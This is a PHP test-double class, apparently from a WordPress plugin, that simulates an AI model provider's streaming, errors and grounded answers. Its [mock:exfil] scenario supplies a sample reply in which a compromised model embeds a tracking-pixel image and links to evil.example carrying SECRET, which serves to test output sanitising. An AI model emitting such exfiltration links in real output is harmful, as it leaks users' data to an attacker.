'...'] fixed reply * ['error' => kind, 'dispatched' => bool] throw ProviderException * ['error_after_chunks' => n, 'error' => kind] fail mid-stream (dispatched) * ['cancel_after_chunks' => n] simulate client cancel mid-stream * ['delay_ms' => n] pause before each chunk * * With $scenarioTags enabled (development sites only), a tag in the user's * message selects an outcome so browser behavior can be exercised by hand: * [mock:slow] [mock:long] [mock:timeout] [mock:rate_limit] [mock:fail_before] [mock:fail_midstream] [mock:exfil] */ final class MockAdapter implements ModelAdapter { /** @var list> */ private array $script = []; /** @var list */ public array $calls = []; /** @var callable(int): void */ private $sleeper; /** Answer text when the provided sources do not support an answer (v2). */ public const INSUFFICIENT = "I couldn't find that information in the selected sources."; /** * @param (callable(int): void)|null $sleeper receives milliseconds; injectable for tests * @param string $version "v2" (default): answers only when the question's informative terms are * covered by one source sentence; "v1": the original best-overlap behaviour, kept only so * the frozen evaluation baseline stays reproducible. */ public function __construct(private bool $scenarioTags = false, private int $defaultDelayMs = 0, ?callable $sleeper = null, private string $version = 'v2') { if (!in_array($version, ['v1', 'v2'], true)) { throw new \InvalidArgumentException('Unknown mock version.'); } $this->sleeper = $sleeper ?? static function (int $ms): void { usleep($ms * 1000); }; } public function id(): string { return 'mock'; } public function capabilities(): array { return ['streaming' => true, 'max_output_tokens' => 4096, 'simulated' => true, 'usage' => 'simulated', 'cancellation' => 'between_chunks']; } /** @param array $outcome */ public function queue(array $outcome): self { $this->script[] = $outcome; return $this; } public function complete(ModelRequest $request, CancellationToken $cancel, ?callable $onDelta = null): ModelResult { if ($cancel->isCancelled()) { // Cancelled before anything was sent: nothing dispatched. // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- exception messages go to logs and callers, never echoed; public errors are fixed codes throw new ProviderException(ProviderException::INVALID_REQUEST, false, 'Request cancelled before dispatch.'); } $this->calls[] = $request; $outcome = array_shift($this->script) ?? $this->scenario($request); if (isset($outcome['error']) && !isset($outcome['error_after_chunks'])) { // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- exception messages go to logs and callers, never echoed; public errors are fixed codes throw new ProviderException((string) $outcome['error'], (bool) ($outcome['dispatched'] ?? false), 'Mock provider error: ' . $outcome['error'], $outcome['usage'] ?? null, (bool) ($outcome['rejected'] ?? false)); } $text = isset($outcome['text']) ? (string) $outcome['text'] : $this->defaultReply($request); $words = preg_split('/(?<=\s)/u', $text) ?: [$text]; $maxChars = $request->maxOutputTokens * 4; $emitted = ''; $cancelAfter = isset($outcome['cancel_after_chunks']) ? (int) $outcome['cancel_after_chunks'] : null; $errorAfter = isset($outcome['error_after_chunks']) ? (int) $outcome['error_after_chunks'] : null; $delay = (int) ($outcome['delay_ms'] ?? $this->defaultDelayMs); foreach ($words as $i => $chunk) { if ($cancelAfter !== null && $i >= $cancelAfter) { $cancel->cancel(); } if ($errorAfter !== null && $i >= $errorAfter) { // Usage of a mid-stream failure is unknown to the client: report none. // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- exception messages go to logs and callers, never echoed; public errors are fixed codes throw new ProviderException((string) ($outcome['error'] ?? ProviderException::UNAVAILABLE), true, 'Mock provider failed mid-stream.'); } if ($delay > 0 && $i > 0) { ($this->sleeper)($delay); } if ($cancel->isCancelled()) { return new ModelResult($emitted, $request->estimatedInputTokens(), $this->tokens($emitted), 'mock-' . $request->requestId, true); } if (mb_strlen($emitted . $chunk) > $maxChars) { break; } $emitted .= $chunk; if ($onDelta !== null) { $onDelta($chunk); } } return new ModelResult($emitted, $request->estimatedInputTokens(), $this->tokens($emitted), 'mock-' . $request->requestId); } /** @return array */ private function scenario(ModelRequest $request): array { if (!$this->scenarioTags || !preg_match('/\[mock:([a-z_]+)\]/', $this->lastUserMessage($request), $m)) { return []; } $long = trim(str_repeat('This is a long deterministic mock answer used to test scrolling and streaming. ', 12)); return match ($m[1]) { 'slow' => ['delay_ms' => 250], 'long' => ['text' => $long, 'delay_ms' => 40], 'timeout' => ['error' => ProviderException::TIMEOUT, 'dispatched' => true], 'rate_limit' => ['error' => ProviderException::RATE_LIMITED, 'dispatched' => false], 'fail_before' => ['error' => ProviderException::UNAVAILABLE, 'dispatched' => false], 'fail_midstream' => ['error_after_chunks' => 4, 'error' => ProviderException::UNAVAILABLE, 'delay_ms' => 120], // Simulates a compromised model trying to exfiltrate through rendered output. 'exfil' => ['text' => 'Here you go. ![tracking pixel image](https://evil.example/p.png?d=SECRET) [click me now](//evil.example/c?d=SECRET) https://evil.example/e and www.evil.example/w done.', 'delay_ms' => 30], default => [], }; } private function lastUserMessage(ModelRequest $request): string { $last = ''; foreach ($request->messages as $m) { if ($m['role'] === 'user') { $last = $m['content']; } } return $last; } /** * v1 (frozen baseline only). Deterministic stand-in for a grounded model: picks the context sentence * with the largest term overlap with the question and cites it. Equal best * matches from different sources with different wording are reported as a * disagreement. No overlap → says it could not find the answer. */ private function groundedReply(ModelRequest $request): string { $question = array_unique(\Aiwend\Knowledge\MockHashEmbedder::terms($this->lastUserMessage($request))); $best = []; foreach ($request->context as $block) { foreach (preg_split('/(?<=[.!?])\s+|\n+/u', $block['text']) ?: [] as $sentence) { $sentence = trim($sentence, " \t-–…"); if (mb_strlen($sentence) < 12) { continue; } $score = count(array_intersect($question, array_unique(\Aiwend\Knowledge\MockHashEmbedder::terms($block['heading'] . ' ' . $sentence)))); if ($score > 0) { $best[] = ['score' => $score, 'n' => $block['n'], 'text' => $sentence]; } } } if ($best === []) { return "I couldn't find that in the provided sources."; } usort($best, static fn(array $a, array $b): int => $b['score'] <=> $a['score'] ?: $a['n'] <=> $b['n']); $top = $best[0]; foreach (array_slice($best, 1) as $other) { if ($other['score'] < $top['score']) { break; } if ($other['n'] !== $top['n'] && $other['text'] !== $top['text']) { return sprintf('The sources differ. %s [%d] However, %s [%d]', $top['text'], $top['n'], lcfirst($other['text']), $other['n']); } } return sprintf("According to the site's information: %s [%d]", $top['text'], $top['n']); } /** * v2 stand-in for a grounded model. Lexical, so it cannot judge meaning; it only declines * to present a sentence as the answer unless that sentence covers the question's informative * terms: * - names written with a capital letter in the middle of the question (e.g. "Demo Store") * identify what the question is about, not the information asked for, so they do not * count as evidence on their own; * - a sentence answers only if it contains at least half of the remaining question terms * (and at least one of them). * Otherwise it says it could not find the information. This stops answers that rest only on a * shared name; it does not establish that a returned sentence is correct or relevant. */ private function groundedReplyV2(ModelRequest $request): string { $terms = static fn(string $t): array => array_values(array_unique(\Aiwend\Knowledge\MockHashEmbedder::terms($t))); // Scenario tags such as [mock:slow] control the stand-in; they are not part of the question. $message = trim((string) preg_replace('/\[mock:[a-z_]+\]/', '', $this->lastUserMessage($request))); $question = $terms($message); // Capitalised words after the first word of a sentence are treated as names. $names = []; foreach (preg_split('/(?<=[.!?])\s+/u', $message) ?: [] as $part) { preg_match_all('/(?context as $block) { foreach (preg_split('/(?<=[.!?])\s+|\n+/u', $block['text']) ?: [] as $sentence) { $sentence = trim($sentence, " \t-–…"); if (mb_strlen($sentence) < 12) { continue; } $hits = count(array_intersect($informative, $terms($block['heading'] . ' ' . $sentence))); if ($hits > 0 && $hits * 2 >= count($informative)) { $best[] = ['score' => $hits, 'n' => $block['n'], 'text' => $sentence]; } } } if ($best === []) { return self::INSUFFICIENT; } usort($best, static fn(array $a, array $b): int => $b['score'] <=> $a['score'] ?: $a['n'] <=> $b['n']); $top = $best[0]; foreach (array_slice($best, 1) as $other) { if ($other['score'] < $top['score']) { break; } if ($other['n'] !== $top['n'] && $other['text'] !== $top['text']) { return sprintf('The sources differ. %s [%d] However, %s [%d]', $top['text'], $top['n'], lcfirst($other['text']), $other['n']); } } return sprintf("According to the site's information: %s [%d]", $top['text'], $top['n']); } private function defaultReply(ModelRequest $request): string { if ($request->context !== []) { return $this->version === 'v1' ? $this->groundedReply($request) : $this->groundedReplyV2($request); } $last = $this->lastUserMessage($request); $digest = substr(hash('sha256', $request->model . "\0" . $last), 0, 8); return sprintf('This is a mock answer (ref %s). You asked: "%s".', $digest, mb_substr($last, 0, 200)); } private function tokens(string $text): int { return (int) ceil(mb_strlen($text) / 4); } }